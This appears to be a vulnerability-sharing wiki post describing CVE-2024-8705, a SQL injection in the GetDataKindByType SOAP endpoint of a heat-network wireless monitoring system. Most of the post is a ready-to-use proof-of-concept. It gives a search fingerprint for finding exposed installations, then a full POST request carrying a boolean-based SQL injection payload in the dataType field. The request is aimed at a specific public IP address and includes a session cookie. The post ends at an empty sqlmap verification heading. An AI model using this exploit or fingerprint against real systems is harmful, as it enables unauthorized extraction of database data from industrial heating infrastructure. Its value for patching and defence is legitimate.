【原创】（CVE-2024-8705）山东思达特测控设备有限公司 热网无线监测系统 5.6.2 GetDataKindByType SQL注入漏洞
当前为私密分享，无需登录即可查看。
| 时间 |
|---|
| 2024-09-03 21:00:22 |
Created: 09/11/2024 06:30 PM
Changes: 09/11/2024 06:30 PM (55)
Submitter: 不遗憾.@wiki
漏洞描述
山东思达特测控设备有限公司经营范围包括：工业自动控制系统装置制造；工业自动控制系统装置销售；供应用仪器仪表制造；供应用仪器仪表销售；其他专用仪器制造等。
山东思达特测控设备有限公司热网无线监测系统GetDataKindByType存在SQL注入漏洞，攻击者可利用该漏洞获取数据库敏感信息。
资产测绘
body="Downloads/HDPrintInstall.rar" || body="skins/login/images/btn\_login.jpg"
POC
POST /DataSrvs/UCCGSrv.asmx HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:127.0) Gecko/20100101 Firefox/127.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Cookie: ASP.NET_SessionId=etxlbzrbmcecvsuy1fwjnfzy
Upgrade-Insecure-Requests: 1
Priority: u=1
SOAPAction: http://tempuri.org/GetDataKindByType
Content-Type: text/xml;charset=UTF-8
Host: 112.25.169.243:82
Content-Length: 492
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:tem="http://tempuri.org/">
<soapenv:Header/>
<soapenv:Body>
<tem:GetDataKindByType>
<!--type: string-->
<tem:dataType>(SELECT CHAR(113)+CHAR(106)+CHAR(98)+CHAR(112)+CHAR(113)+(CASE WHEN (2832=2832) THEN CHAR(49) ELSE CHAR(48) END)+CHAR(113)+CHAR(122)+CHAR(106)+CHAR(107)+CHAR(113))</tem:dataType>
</tem:GetDataKindByType>
</soapenv:Body>
</soapenv:Envelope>
Sqlmap验证：
